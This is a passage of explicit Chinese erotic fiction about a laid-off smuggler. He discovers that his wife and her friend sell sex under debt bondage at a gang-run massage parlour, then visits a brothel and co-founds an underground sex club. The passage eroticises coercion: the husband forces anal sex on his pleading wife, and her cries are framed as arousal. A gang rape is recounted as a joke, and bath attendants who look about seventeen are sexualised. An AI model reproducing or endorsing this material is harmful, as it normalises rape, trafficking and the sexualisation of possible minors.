  “其实那不是胎记,而是纹身。我上班的盲人按摩院的经理是香港人,他有点变态的,祇喜欢干女人的屁眼,凡是在他那儿出卖肉体的女郎,都要经过他那一关,他在我们的屁眼发洩之后,还要纹一朵小花做上记号!”

  达刚听到柳晴这幺说,果然証实他初看到依敏身上纹身时的想法,他紧张地对柳晴说︰“通常一些色情场所都有黑道背景!你们不怕加入之后会脱不了身!”

  柳晴道︰“要赚钱就顾不了那幺多了,其实我并没有介绍依敏去那里,是她自己去找那个经理,但依敏要不是听我讲过那里的事,也不会找上去,所以还是我害了她,但她是好女人,也是我的好姐妹,你要是生气就打我吧!千万别责备她…”

  “唉!我打你又有什幺用,我是个没用的男人,你们是一群可怜的女人!该想想怎样脱离这个黑道的盲人按摩院了!”达刚说着,把缚着柳晴双手的绳索解开。

  “你可千万不能去揭发检举啊!他们是有背景的,我就曾经被派出去干部招待所做过,那里都是些政府的大官哩!你惹不起,况且这事是我们自愿的,赚钱而已,千万别把事情闹大了!”

  达刚沮丧地坐到椅子上,他满腹惆怅,却无计可施!

  柳晴这时还没有把裤子穿上,她光着屁股,温柔地说道︰“你刚才不是要干我的屁眼吗?你干吧!消消火,或许会好受一点!”

  但是达刚这时已经连阳具也软化了,他低着头,不知说什幺好。

  柳晴蹲下身子,软软的手儿捉住男根,温柔地说道︰“别想那些不愉快的事了,我替你含一含,你马上就可以干我的屁眼的。”

  达刚茫然说道︰“你不是怕对不起依敏吗?为什幺又主动替我口交?”

  柳晴淡淡一笑︰“口交并不算性交,祇要你不插入我的阴户,你玩我身体的任何部份,我都不会觉得对不起我的好姐妹的!”

  达刚苦笑道︰“我真不明白你们这些女人怎幺想的,更不明白你们那些怪道理!”

  “明白不明白并不要紧,我劝你今晚不要回去了,因为你情绪不好,我怕你对依敏作出不理智的举动!”

  达刚望着赤裸下身的柳晴,心头一阵蕩漾︰“我本来就留字说今晚不回家,但是你现在这样子挑逗我,我可不担保可以忍得住不强姦你哦!”

  “不怕的!”柳晴嫣然一笑,纤手捂住耻部,媚笑着说道︰“我身上除了这里,还有其他的地方让你出火,我们先去浴室,我服侍你洗白白,然后上床!”

  柳晴说完,连自己上身的衣服也脱除,挺着一对饱满的大乳房,走向达刚目前,伸出一双嫩白的手儿,摸到他的衣钮。

  不一会儿,达刚也精赤溜光,他把柳晴赤裸的娇躯抱到浴室。

  这个单身公寓的浴室很小,俩人祇能肉挨肉地挤在一起,柳晴比达刚矮了一个头,他们涂上肥皂液,互相摩擦着,达刚的阳具很快又硬朗了。

  柳晴道︰“你不是要插我屁眼吗?趁现在…滑…啊…滑进去了!”

  这时柳晴刚好背着达刚,说话间达刚双膝一屈,腰肢一挺,若大的一条长蛇,已经钻进柳晴的臀洞。

  “噢!被你干进去了,好涨,啊…你好粗!痛…啊…先别动!”

  达刚没有抽插,但柳晴的臀洞却痉挛性收缩着,达刚祇觉得觉得他的阳具被软绵绵的手掌握住捏弄,由龟头传来阵阵快感,他双手紧紧抓捏着她的双乳,雪白的奶肉从他的指缝绽出。

  达刚在柳晴的屁眼射精时,柳晴的双乳已经被揉捏起五指红印。

  柳晴娇嗔道︰“那幺狠,你对依敏也是这样吗?”

  达刚红了脸,低声说道︰“弄痛你了吧!

  “我痛不痛无所谓,你的心头气消了就行,不早了,上床睡吧!”

  二人从浴室出来,柳晴穿上内裤,还放了一条卫生巾。

  达刚见她似乎“防范森严”,便说道︰“我还是离开你的宿舍好了,免得你又怕我搞你!”

  柳晴笑着说道︰“我不是怕你搞我才这样森严壁垒,我的月经快来了,一向都好準的,所以我已经请了假,我穿内裤放卫生巾祇是怕突然来了,弄污被褥而已,不然我也不怕你的,脱光光陪你睡又何妨!”

  达刚道︰“我还是回去好,不打搅你了!”

  柳晴又笑道︰“现在什幺时候啦!公车已经停驶了,搭计程车好贵的,你就在这睡一晚,天亮再回去嘛!”

  达刚点了点头,想穿上内裤时,柳晴又说道︰“不必麻烦了,我不介意和你一起裸睡的!”

  俩人上床,肉贴肉抱在一起,达刚难免又去摸柳晴的奶子,柳晴并没拒绝,她笑着说道︰“怎样,还是敏妹的比较好玩吧!”

  达刚道︰“我老婆虽然比你大,但她有生过孩子,没你这样坚挺了!”

  “过多一年半载,我也回老家,跟我老公生个娃娃,其实我好喜欢小孩子的,但是没有钱不行啊!”柳晴说着偎到达刚怀里,小手儿摸到他软软的阳具。

  达刚一阵心痒,但他关心的还是怎样使妻子脱离皮肉生涯,他问道︰“你们可以随时离开那个按摩中心吗?”

  “我没有向经理借钱,倒是随时可以辞工,但依敏就不同,她预支了一笔数,欠了公司的钱,就不能说走就走了!即使你有钱还,也得他们点头才行,因为有合约!”

  “还钱都不行,这是什幺道理?”达刚愤然而言。

  “黑势力的人物总有他们的另一套道理的,你不去招惹他们,他们未必理你,但是你要是和他们拉上关系,就得按他们的道理办事,否则会很麻烦的。”

  达刚呆住了,他无法可想,又不甘心眼睁睁看着爱妻天天到按摩院做那回曾经亲眼目睹、亲身经历的事,他越想越气顶,不禁长长的叹了一口气。

  柳晴的手儿轻轻抚了抚达刚的胸膛,劝道︰“什幺事,不妨对我直说吧!我虽然不是你老婆,但也算是最了解你们夫妻之间私事的人了!”

  达刚慨叹︰“依敏所借的钱是让我去干走私烟的本钱,我一时还不能抽回来!”

  “你把本钱抽回来也没用,照按摩中心的规矩,有作预支的,至少也要做一年!”

  “一年!一年内不把我气死才怪,而且那笔钱…”

  “钱的问题你不用担心,依敏不到一年就一定可以赚到数,祇是你自己要小心,再有什幺问题需要大笔钱时,依敏就不能翻身了!”

  达刚又是深深叹了口气,柳晴把粉脸儿偎到他胸部,柔声说道︰“这件事看来你还是诈不知道好些,千万别让依敏知道你已经发现她的秘密,你不开心可以来找我,我会像现在这样安慰你,开解你的!”

  达刚苦笑道︰“柳晴,我真不明白,你现在和我这样剥光猪躺在一张床上,你就不觉得对不起你丈夫吗?”

  柳晴淡淡说道︰“你都说我把你老婆带出来做婊子,我自己也是婊子,现在你怨恨我,在我身上报怨洩恨,我祇好任你作贱,任你发洩了。”

  “任我玩、发洩?那幺你为什幺还有所保留…”

  “我也不明白你们男人为什幺非插玩女人的阴道不可,我已经说过了,我和依敏都很介意自己的老公和别的女人性交,你就别难为我了,你要口交,肛交,没问题呀!”

  达刚摇了摇头︰“我还是不懂你的怪道理,要是让我看见依敏和别的男人这样光脱脱地抱住,不气爆才怪!”

  柳晴把达刚的阳具一抓︰“不懂就别理那幺多了,看你火气那幺大,还要不要再出一次,我用嘴巴替你吸出来!”

  达刚骂道︰“贱女人,你和我老婆都是贱女人,什幺事不好做,偏偏要替男人含吮阴茎,还要连精液都吃下去!”

  柳晴媚笑道︰“女人就是女人,天生一个肉洞让男人抽插耍乐,天生两只乳房给男人摸玩捏弄,还有我们的嘴巴,我们的屁眼,也可取悦男人,女人如果不好好利用自己天赋的条件,就不算是一个完美的女人嘛!”

  “好一个物尽其用,这些话是不是你们那个经理教你的?”

  “不错,但他讲得有道理呀!所以我们在服侍男人时,自己也很快活。”

  “快活?平时怎幺没见依敏这样和我快活?”达刚质疑。

  “如我一样,依敏当然也想和你分享这样的快活,但是你自己想想,假如她给你这样乐,你难道不会怀疑她变了!”柳晴说得理直气壮,达刚一时语塞。

  柳晴接着又说︰“经理没有骗我们呀!我含着你的龟头,觉得好好玩的,尤其是由软含到硬,由小含到大,很有满足感!”

  “那幺吃精液呢?味道很好吗?”达刚插嘴。

  “那倒没有什幺味道,但是经理说男人的精液对女人很有好处,不但补身,而且养颜,你说啦!依敏是不是比以前漂亮啦!”

  “我可看不出什幺分别,你别提我老婆好不好!”

  “不提就不提呗!你看不出,我可看得出,这几个月来,依敏的脸皮比之前好看得多了,白里泛红,吹弹得破,连我都忍不住想吻她一吻,我自己觉得也是…”

  “你的脸皮是越来越厚才真,这种话都说得出来!”

  “哟!你生气啦!我是实话实说嘛!”柳晴撒起娇来了。

  “好了好了,我累了,睡觉吧!”达刚祇好把她一抱,二人搂住睡了过去。

  次日早晨,达刚在睡梦里,感觉到有人在搞他的下体,他知道是柳晴在作怪,也懒得去理她,不过,小东西却是被她越搞越大,越搞越硬。

  柳晴把他的肉棒含在口里,龟头涨满她的小嘴,她的双唇紧吮,舌头尖绕着龟头打转,搞得达刚忍不住“雪雪”呻呼。

  柳晴更起劲了,她一边啜吮吞吐,一边还把凤眼瞟着达刚的脸。

  达刚不在装睡了,他也睁开眼睛看着她的淫态,柳晴见达刚醒来,先是咬住他的阳具投过来骚蕩一笑,接着把龟头吐出来,说道︰“我让你玩一样新奇的!”

  达刚笑道︰“你又想搞什幺花样?”

  柳晴道︰“乳交!我躺下,你上来!”

  说完,她后仰躺下,招呼达刚骑到她胸前,接着双手捧奶,用饱满的大乳房包裹着男根,让粗长硬直的肉棒在她乳沟里抽提,每当龟头从肉缝中钻出来,柳晴还会轻启双唇,把它含啜一下。

  达刚从未这样玩过,感觉上份外刺激,比起在女人的阴道中抽送还要过瘾,他一边感受着阴茎和乳沟摩擦的快感,一方面观赏柳晴的淫姿浪态…

  要射精了,要上眼前是他的爱妻,达刚会抽身避免洒她一身一脸。

  但此刻身下是他埋怨带坏妻子的贱货,而且她自己也声明喜欢吃男人的精液,于是他任其自然,在爆浆的一刻,精液疾喷,射在柳晴眼脸、鼻梁…

  但柳晴也反应灵敏,她立刻小嘴一张,含住还在喷精的龟头,伸长着脖子拼命的吮吸,直到达刚停止抽搐,才把龟头吐出,将口里的精液吞嚥下肚后,还用手指把脸上的精液刮下放入嘴里…

  望着柳晴这种表现,达刚想起自己的妻子也已经沦为如此这般,他的嘴角不禁流露出一丝无奈的苦笑。

  柳晴今天不上班,但达刚要去见他走私帮的伙伴阿林,他们负责把泊来的私烟批发给小贩,阿林有私烟的来路,和达刚一起下岗的工友许多都在摆摊档做小贩,所以,除了在私烟批发出去之前要冒点风险,基本上还是做得还算顺利。

  这天是船期,阿林和达刚又成功的赚了一笔,钱一入袋,阿林马上想去玩女人,他告诉达刚最喜欢盲人按摩中心的阿珠,口沫横飞地赞得天花乱坠。

  达刚知道盲妹阿珠正是自己的妻子依敏,心里当然不是滋味,但口头上还得勉强敷衍一番,当阿林再邀他共玩“珍珠姐妹花”,他就不敢再去了。

  达刚托词对盲妹没兴趣了,想不到阿林另外还有好介绍,推无可推之下,又不敢太忤逆这个生意上重要搭档的一番美意,祇好跟着他后面走了。

  他带达刚到一家私人住宅,那地方甚至是没有名字,只由一些识途老马互相介绍,是一个叫“七姨”的女人主持的,约会时便说到“阿七”那处去。

  达刚以前也来过这处,却没有进去过。

  今天,他以客人的身份光临,一进门,便有穿长旗袍的女人迎接,阿林点了点头,指指身边的达刚道:“这是我的哥们阿刚。”

  他们先到酒吧间去喝酒,酒吧有几个侍女,都穿着很短的裙子,上身酥胸半露,青春的玉体在眼前晃来晃去。

  阿林叫一个名叫小莉的女孩子坐下来陪酒,小莉大方的坐到两个男人的中间。

  达刚发觉她根本没穿胸围,坐下来,裙子向上拉起,玉腿整段裸露,还见到她穿着白色的花边内裤。

  阿林旁若无人地抚摸她肉光緻緻的嫩腿,小莉祇顾打情骂俏,不甚推拒,阿林摸到她耻部,也祇拍打他的手背,并不把他的怪手拿开,还被阿林把她的阴毛扯出底裤外。

  小莉说话既娇滴滴又很幽默风趣,很讨人喜欢,达刚现在明白阿林为什幺老是不时流连在花街柳巷而不回家了。

  喝了一会酒,小莉过场了,阿林便带达刚到浴室那边去,表示要沐浴。

  有两名看起来十七、八岁的女孩子分别服侍他们,殷勤的为他们涂肥皂、擦背、洗涤,完全不要他们自己动手。

  这两个女孩子是脱光了侍浴,她们看来是外来妹,肤色比较深些,但胜在够青春活力,达刚摸捏过其中一个侍浴女郎的乳房,触手是结实而有弹性。

  浴后,他们各被送入一间客房,那两名女子分别为他们按摩。

  她们的按摩都是带挑逗性的,达刚给弄得心猿意马。

  半个钟头后,按摩女郎退出,另有一名漂亮女郎走进房来,年纪只有二十岁左右,向达刚抛一个媚眼,过来坐在他床前,说道:“我叫阿莲,喜欢我吗?”

  达刚听过阿林的吩咐,总之享受全套,甚幺都不必问,便点点头。

  小莲在他面前把衣裳解下。

  小莲当着达刚面前解衣,份外有一种刺激的作用,每解一件,他的心头便跳一跳。

  这个小莲并非庸脂俗粉,她比自己的老婆依敏,比柳晴都要青春俏丽,达刚心中很佩服那个七姨,不知从哪处罗致这许多美女来服侍客人。

  小莲似乎很充分了解到脱衣的技巧,她拉了一张大靠背椅过来作她的道具,彷彿在他榻前表演艳舞。

  每脱一件衣服都多方作态,或坐在椅上向天竖起美腿,轻轻爱抚,或背向达刚,俯身椅背上,让他欣赏她整个美丽的臀部,又故作神秘,姿态忽闪,重要部位若隐若现。

  这个方法的确撩人心弦,富具挑逗,达刚的身体虽然因连日戈伐,小家伙在半冬眠状态下,却也变得跃跃欲动了。

  小莲进一步把他身上的薄被掀开,把她长长的美腿伸上床来撩拨他,那玲珑纤美肉足的脚趾一点触达刚那地方,随即勃然而兴。

  小莲十分乖巧,就在这一刻掌握时机,趴在他身上,热情地让他的硬物陷入自己那道温软的肉缝。

  达刚又一次领略温柔的滋味,此刻跟昨晚和柳晴的隔靴搔痒比较起来,显得特别的痛快淋漓。

  干得正欢时,房间的版壁上有道暗门打开,阿林拖着一个女人的手钻进进来,他和那女郎两人身上都是一丝不挂。

  阿林笑笑口说道︰“喂!要不要交换来玩玩呢?”

  达刚有点儿尴尬,到底这地方灯火光猛,不像上次在按摩中心的暗房里,自己干到一半,别人在旁边瞧着,总有点儿周身不自在。

  他不好意思地说道︰“喂!等一等嘛!我还没完哩!”

  阿林笑道︰“别太搏命啦!我等着,先让你试试一箭双雕吧!”

  说着,阿林把身边的女郎推向达刚。

  那女郎自我介绍她叫小鹃,看起来不满二十岁,此刻她除了一头披肩的长髮,浑身上下一丝不挂,美妙身材尽露。

  达刚虽然对这个稚嫩的女孩子垂涎三尺,但此刻他的性具却插在身下另一个女郎的阴道中。

  他显得有点儿难舍难分时,小鹃已经把娇躯凑将过来。

  此刻,达刚看见阿林也坐到沙发上,準备袖手观赏一场活春宫了。

  小鹃把一对虽然不很巨大,却又十分尖挺的乳房烫贴达刚的背肌,使他犹如触电似的颤了两颤。

  小鹃这种三文治的做爱方式,达刚从没尝试过,觉得特别刺激,也特别兴奋,自然挨不了多久,便在小莲的肉体里射精了。

  小莲捂住她的阴户进入浴室,小鹃则用她的小嘴为达刚善后,这里的女郎可谓驯练有素,小鹃完全不怕髒,不怕累,小舌头儿伸得长长的,把男人的下体舔得乾乾净净。

  然而,小鹃并没有停下来,她继续衔着龟头吞吞吐吐。

  达刚心里暗中想道︰“这个女孩子一定是想这次把我搞硬,但这几天来,我可以说是精力透支,幸亏我的身体还算可以,但这样玩下去,我怕会玩出事来!”

  心里虽然这样想,从小鹃唇舌间传来的快感,却不期然使他的肉棒又慢慢坚硬。

  达刚已经觉得阴茎有点儿涨痛,但体内的血液却不收控地往那海棉体里泵入,直至肉棒变粗变硬。

  小鹃似乎很满意自己的成果,她吐出口里的龟头,抬起头来望着达刚媚笑。

  达刚受不了她的挑逗,一翻身从床上爬起来,两只有力的手臂,一下子把小鹃掀翻在床上,双手捉住脚踝,把她的大腿高高抽起。

  这时小莲刚好从浴室出来,她走向阿林,但阿林示意她过去加入战圈。

  小莲嫣然一笑,莲步轻移走到达刚身旁,纤细的柔夷轻捏粗硬的肉棒,把龟头指向小鹃的一抹桃红。

  长长的肉棒缓缓塞入绯红的洞穴,由于紧窄,小鹃的大阴唇被挤得往里凹陷。

  达刚开始抽插,俩人的皮肉撞击发出“蓬蓬啪啪”的声响,小莲这时也抱住达刚的后背,扭腰摆臀,为达刚的抽插助力。

  如是搞了不少时间,阿林站起身走过来,他教达刚抽出肉棒,放下小鹃的玉腿,让她双腿垂下床沿,又令小莲伏在小鹃上面,使得两女的阴户凑在一起。

  达刚已明白意思,他有点儿不好意思地朝阿林一笑,接着便走上前,先把肉棒插入下面的小鹃阴道,舞了一会儿,又搞上面的小莲。

  两位女孩子的阴户各有特色,达刚玩得从心里乐出来。

  阿林在旁也看得火眼金睛,达刚忙了一会儿,回头见阿林挺着根大肉棒,便笑着说道︰“还是一人一个吧!”

  于是,阿林抱走小莲,达刚则继续弄干小鹃…

  离开七姨的秘窝,达刚回到自己家中,依敏已经睡下了。

  他轻轻掀开被单,依敏一丝不挂,而且洗得一身香喷喷,达刚没下岗之前,每当他夜班回来,依敏也是这样等他,达刚吃完妻子为他準备的夜点,然后轻手轻脚爬上床,静静地拨开她的双腿,悄悄地把勃硬的肉棒插入她的桃花源。

  有时,依敏会在丈夫的龟头迫开肉缝时就醒过来,有时是肉棒尽根插入才惊觉,也有时是达刚把她抽送得淫液浪汁横溢,令她在绮梦中苏醒过来。

  但今天,达刚已经“饱食”归来,他勉强吃下依敏为他準备的点心,小心翼翼的的爬上床,也不敢惊动她,像一只依人的小猫,悄悄在她身边躺下。

  他想起过去的日子,又想起近几天发生的事,心里是百感交集…

  他既不会忘记依敏对他温柔体贴,又抹不去自己的爱妻为目前的职业,赤裸翻滚在其他男人怀抱时的淫姿浪态。

  如果不是他在盲人按摩中心中亲眼所见,如果不是“夜审”柳晴,达刚做梦也想不到身旁所睡着的这位温婉的贤内,竟是万人可妻的淫娃蕩妇!

  他越想就越气,但凭良心说,自己也行差踏错了,他已经没有什幺理由可发作。

  这几天来,他的确也累极,终于还是倦极而睡着了。

  当晨光透过纱窗射到床上,达刚也从沉睡中醒来。

  依敏如小鸟依人,偎在他的怀抱,睁眼望见这位活色生香的小美人,达刚不禁精神一震,假如在平时,他会立即提鞭上马,但今次达刚确实累极而打了软鞭。

  依敏伸手触及垂头丧气的小东西后,忽闪着美丽的大眼睛,妩媚地说道︰“老公,你也累了,我也累了,最近咱家的收入虽然好起来,却没以前那幺亲热了!”

  达刚不禁激动的把妻子一抱,心里却不知说什幺好。

  依敏在丈夫嘴边亲了一亲,小手儿把阳具轻轻一握,说道︰“我的女伴告诉我说,女人用嘴巴含这里,男人会好爽的,老公你想试试吗?”

  达刚心里一痒,嘴里故意问道︰“是哪一个女伴教你这些下流东西呢?”

  依敏羞地粉面通红,结结巴巴地说道︰“是我在纱厂时听来了,你不要就算了!”

  达刚当然想正正式式地试试让妻子口交的乐趣,但最近又荒淫得太利害,实在有点儿想歇歇了,不过,难得妻子已经主动表示,如果不干,不但盛情难却,还会容易让她怀疑自己的丈夫有外遇。

  于是,他把依敏的鼻子一捏,笑着说道︰“我的好老婆啥时也给人教坏了!我当然要啦!我也听说过,但我哪里敢委曲我的好老婆呀!”

  依敏脸上掠过一丝苦笑,她的俏脸更加红了,她把头钻进丈夫怀里,娇羞地说道︰

  “不来了,你又笑人家学坏!”

  达刚坐了起来︰“你撩起我一把火才说不来,我可放不过你!”

  依敏红着脸说道︰“好啦!不敢啦!你躺下啦!”

  达刚笑着说道︰“我还是先洗洗再来!”

  依敏点了点头,达刚立即爬起身,溜进浴室,依敏也起身,赤裸裸的跟着进去,她拿起浴液和海绵,细心而殷勤的服侍老公沖洗。

  达刚也替依敏沖洗,当他想到妻子的不知被多少男人干过,不禁把手指头塞进她的阴道里乱挖起来,依敏并不知丈夫已经知情,她被挖得微微呻吟起来。

  达刚见她发出淫声,心中有愤,便把手指搔向她的屁眼,依敏骤然吃惊的摇动屁股躲避,达刚更肯定她一定被人干过屁眼,于是把手指追着挖。

  依敏终于出声哀求︰“老公,不要搞那里啦!会痛的!”

  达刚追问道︰“都没插进去,你怎幺就知道会痛?”

  依敏语塞,但她顿一顿,立刻就答道︰“你的手有指甲嘛!当然会痛啦!”

  达刚又不怀好意地说道︰“好吧!我用阴茎插进去!”

  依敏浑身一颤,回头柔声说道︰“老公,你今天是怎幺啦!那处不好玩嘛!我们回床去,我用嘴巴给你爽啦!好不好呢?”

  依敏说得这幺露骨,又那幺怕痛,达刚完全証实柳晴所说,看来依敏已经被按摩中心的经理干过屁眼的事,肯定是属实不虚了。

  他像发狂了似的,不由分说,把勃硬的龟头往依敏的臀缝乱撞。

  但是,依敏的确被经理搞怕了,她已吓破了胆,战战惊惊地躲避着,嘴里呼叫着︰

  “不要啊!饶了我吧!”

  不过,此刻依敏的呼叫听在达刚耳朵里如同叫春一般,他还是不顾一切地把粗硬的大肉棒塞入依敏的直肠。

  大概因为有浴液润滑的关系吧!依敏并不觉得怎幺疼痛,但她仍紧张地双腿直打抖颤,无奈地回头对丈夫哀求︰“已经插进去了 不要抽动好不好?”

  达刚刚才虽然发狠,见到妻子可怜兮兮的,心也软了,他缓缓地把肉棒退出。

  依敏连忙再用水沖洗,同时也用手呵抚着自己的屁眼。

  回到床上后,依敏用她熟练的口技百般逢迎,达刚觉得比在按摩中心时还要落力,但是,依敏越对达刚好,他就想到:妻子不知对多少个男人这样好过了!

  当依敏吞食了达刚的精液,他更想道︰我的妻子不知吃过多少男人的精液了!

  达刚的心里起了一阵厌恶感,然而,对着依敏温柔的笑容,他又觉得恨不入心,他不禁把妻子搂在怀里,心里无奈地默言︰“即使依敏对天下的男人都好,但是,她始终对我最好吧!起码依敏也祇为我生过孩子!”

  又过了数月,在这几个个月中,达刚都在矛盾心理中和妻子相处,也不时跟阿林在花街柳巷留恋。

  他们的走私生意很顺利,在冒险精神驱使之下,做成了一单数目不菲的大生意!

  阿林这个花丛老手,女人玩得多了,灵机一触,竟然想自己搞一间色情场所,达刚也和他继续合伙,因为他觉得和阿林合伙无往不利,而且经阿林游说,私烟供应商的大老板也注巨资,及指派他的属下七姨参予,成了一项不小的投资。

  他们所搞的是一间地下俱乐部,说是地下,还真的是设立在一间近郊旧宅里的地下室内,而这个地下室原来是“备战”时期的大型防空洞,经过装修,改建成了一个有假山,有水池,豪华贵丽的地下洞府,而地面的建筑则以“聚龙宾馆”作掩护。

  经过一番筹备,阿林、达刚和七姨合辫的这间“地下乐园”终于悄悄地开幕了。

  这个七姨其实来头不小,她年仅廿六,本是澳门一个黑人物的七姨太,黑人物被刺杀后,她才由私烟供应商的大老板安排来本市发展,凭她十六岁就下海的欢场经验,很快就搞得有声有色了!

  由于七姨事前的宣传和拉客,当天下午来参加“开幕庆典”竟有不少本市的名流,其中当然也有政界的知名人士,和“高干”子弟,他们各自乘坐没有特别标志的普通汽车前来。

  一些为了顾全“体面”和地位敏感的会员怕人认出,都戴上银色反光眼镜。

  这个豪客玩家的俱乐部,除了头一次由七姨旗下的女郎“客串”,之后便要各自携女伴参加每星期一次的周末集会了。

  节目是多彩多姿的,光顾过七姨的高级玩家都知道她是个有办法的女人,当他们入会时,也得到七姨的保证:每逢周末的例会,如果他们找寻不到临时伴侣的话,也包在七姨的身上,看来这也是昂贵的会费都有人加入的原因之一。

  “开幕盛典”在地下泳池的旁边进行,仪式简单而隆重,单凭七姨旗下的八美十二金钗负责迎宾剪采的仪式,已可谓别开生面了!

  更引人注目的是八个大奶妹,排列成一个面对四方八面的“肉阵”,她们身上被一条长长的彩带包着涨鼓的八对大乳房,和遮住她们的私处。

  这八个大奶妹都是拍裸照和色情电影的“明星”,七姨特地由港澳和泰国请来。

  手托摆放金剪的银盘的是七姨属下八名应召女郎,今天她们都穿得极之暴露。

  大奶妹明星金剪一挥,一匹彩绸分为八幅堕于人造草地上,出现在众人前的,是八对巨型肉弹的小明星,她们赤裸裸一丝不挂。

  十六个颤巍巍大乳房,看得在场的女郎也吹起口哨来。

  那些怕以真面目示人的男士,已索性将银色眼镜脱下来,因为不戴那眼镜,到底是看得更加清楚些。

  男士们平时裸照看得多了,真人则没机会见过,此刻就大饱眼福了。

  人就是这幺奇怪的动物,有些人家中的女人虽然有更美妙的身段,但老婆总是人家的好,于是看得目不转睛。

  回头再说那八位大奶妹一经剪彩,立即纤毫毕呈,但祇是惊鸿一瞥,她们便纷纷跳入那椭圆形的大泳池中。

  四十个男人包括阿林和达刚在内,四十个女人亦包括七姨在其中。

  剪采完毕之后,七姨致简单开幕词,大意是多谢各位入会,今后小妹当尽绵力为众同好谋福利…等等。

  至于“福利”者,各位男士当然心照不宣了。

  一名中国女子随后登上麦克峰前:“本会第一项活动,是寻宝游戏!”

  “寻宝游戏”玩法是这样的:在地下洞府的各座建筑,包括泳池、花园、假山等,任何角落都可能藏有一些乳罩或三角裤之颊的香艳物品,而每一件用品之上,都有号码胶牌,由一至四十号。

  男士们立即就可以开始去找,找到那一个号码胶牌,便可得到那一个号码的女伴。

  女郎们也早巳分到有号码的塑胶牌子,其中包括七姨、八大奶妹和八美十二金钗,此外,还有十几个来历不明,但打扮得如花似玉的青春小姐。

  负责女司仪的小姐最后又说:“为了保持神秘,下一项目在两时后再宣布。”

  男土们都在想:两小时甚什幺也玩够了,真是物超所值!单是看这幺多美女赤裸裸的,已经值回票价了。

  这是春天的天气,许多男士也穿得齐齐整整的,没有人下水游泳,其实池水很暖,这里由地下室至楼上全部设有空气调节设备。

  阿林忽然把衣服脱光,祇穿了一条内裤,这时大家都纷纷“寻宝”去了,他却跃进了泳池之水中。

  池内八个大奶妹想不到有男人跳下来,“哗”的齐叫一声。

  池边许多男人都想学学阿林,但因为天气确实有些寒意,玩家们的身体,很少有像阿林练得这幺好的。

  他们想“享受”一下池中心的肉弹们,祇有寄望于找寻到的塑胶牌编号,希望运气好,号码刚好在任何一个肉弹身上,那就最好不过了。

  阿林入水后,立即潜入水底去。

  水清可见底,八个大奶妹明知他无非想看“水底奇景”,于是纷纷闪避,然而每人都是赤条条的,离水登池更被人一目了然的,所以还是在水里比较容易遮掩一下。

  就在嘻嘻哈哈之中!阿林在水底捞到了一只脚儿,这脚儿正连着个大奶妹玉凤的玉腿,阿林捉住她的脚踝后!她“嘻”的一声笑,几乎沉到了水底去,阿林则浮上水面。

  “你真坏!”玉凤含嗔道:“险些儿让我喝了些水进肚啦。”

  “那不好吗?”阿林笑道:“这水是鸡汤,喝了补身兼养颜的!”

  “哼!你把我们当作甚幺?”

  “啊…!”阿林也知道出了语病,但随即指着自己的下身改口:“我是说我这只鸡啦!开玩笑嘛!何必认真呢?”

  玉凤突然神秘地一笑,但阿林弄不清她的用意。

  就在这时侯,忽然其他女孩子突然七手八脚的自水底一涌而上,等到阿林意味到这是怎幺一回事时,巳经太迟了。

  原来,除了玉凤之外的其他七个女孩子,突然连手进军,把阿林在水中制服,剥去了他唯一遮丑的泳裤,随手一扔,也不知扔到甚幺地方去了。

  这时候,有男士在池边附近的花盆与草丛背后找号码的,见池中一阵嘻哈,跟池畔的其他女郎都注视池中奇景,看见阿林的一副尴尬表情,谁也忍不住发笑了。

  半小时过去了,集中到泳池旁来的人越来越多,阿林更加不好意思上岸了。

  对于裸体这回事,人类的心理也是够古怪的,如果个个赤条条的,可能不会难为情的,因为个个如是,但是祇你一个人裸露,其他的人个个衣冠楚楚,那情形又不同了,畏羞之心谁也有的,因此阿林祇好和八个“肉美人”一留在泳池内。

  阿林半开玩笑地说:“要是给我一个对你们八个的话!嘿嘿 !那可就好看了!”

  “你敢怎样!”其中一个反问。

  “把我们一个个杀了!”

  另一个哼了一声,不屑地说道:“你有多少本钱!才大家都一目了然,即使天赋异稟,我们也承受得了?”

  众大奶妹一唱一和的:“你以为我们还是弱不禁风的小女孩幺?”

  有一个更大胆,她低声对各人道:“别说他一个,小妹曾一度误闯建筑工地,被五名粗壮的扎铁工人轮流干了一小时,也忘了準确次数,大概每人超过两次!结果嘛!不出两天!我又恢复了原状。你…不会比那五名壮汉利害吧!”

  “哈哈哈…”八个大奶妹一起大笑。

  岸上的人祇见他们小声讲大声笑,也不知他们笑甚幺。

  这时,七姨走出来,站在一张石凳上说:“各位,寻宝游戏结束了,我们立即分配临时伴侣。为纪念本乐园开幕,由小妹情商各位姐妹到来客串的,可以说保证个个年青貌美,实在是各位有福了,现在为求公平起见,请每位男士!将刚才找到的胶牌高举,最好就是挂在衣襟上,让小姐对号找人了!”

  八个大奶妹纷纷由泳池登岸了,阿林急得满头大汗,但没有人理会他。

  他好像一被人遗忘了似的,躲在泳池的一角,祇有目睹小姐对号找人的份儿,他当是一个号码牌子也没有。

  七姨也跳下石凳,找到了她自己的临时伴侣。

  达刚的对手竟是青春美媚的女司仪幼娇。

  人群中不时发出嘻笑,这是有些豪放的女郎在对号找到人之后,动手去摸“货办”的缘故,她们的大胆作风,引得许多人也欢畅地大笑起来。

  气氛是那幺的充满愉快和欢乐,祇有阿林始终躲在泳池下面,暂时还不知有没有人来找他或注意他。

  等到所有的女人都找到了临时伴侣了,就发现有一个女郎找不到,原来她所持有的的是“二十八”号的胶牌,在场男仕中竟没有这个号码。

  当时许多人都不明白:何故台少了一个,后来大家才想起泳池中还有一个阿林,这才恍然大悟,原来这条大淫虫没有去找寻他的胶牌。

  阿林在池里叫了起来:“何必再找呢,你们剩下找不到的二十八号一定是我了!”

  达刚故意捉弄他,笑道:“我们这幺辛苦才找到一个胶牌,你可不能不劳而获!”

  “对了,罚他!”其他的人一唱百和地叫了起来。

  “好吧!”阿林也说:“本来是一个对一个,现在留下玉凤,让她难过一下也是好的!”

  玉凤看见前后左右的男男女女们已经倚偎在一起!她实在也极之需要男人的慰藉,再被阿林怎幺一说,登时面泛红霞。

  幸而这时侯一队无上装的白兔女侍捧着酒水走出花园,这一队年祇十八至二十左右的白兔女郎上身赤裸,下着迷你短裙,头上夹着一顶有两只白色耳朵的小帽,全队刚好十个人,个个身材健美,面目也姣好。

关闭
关闭
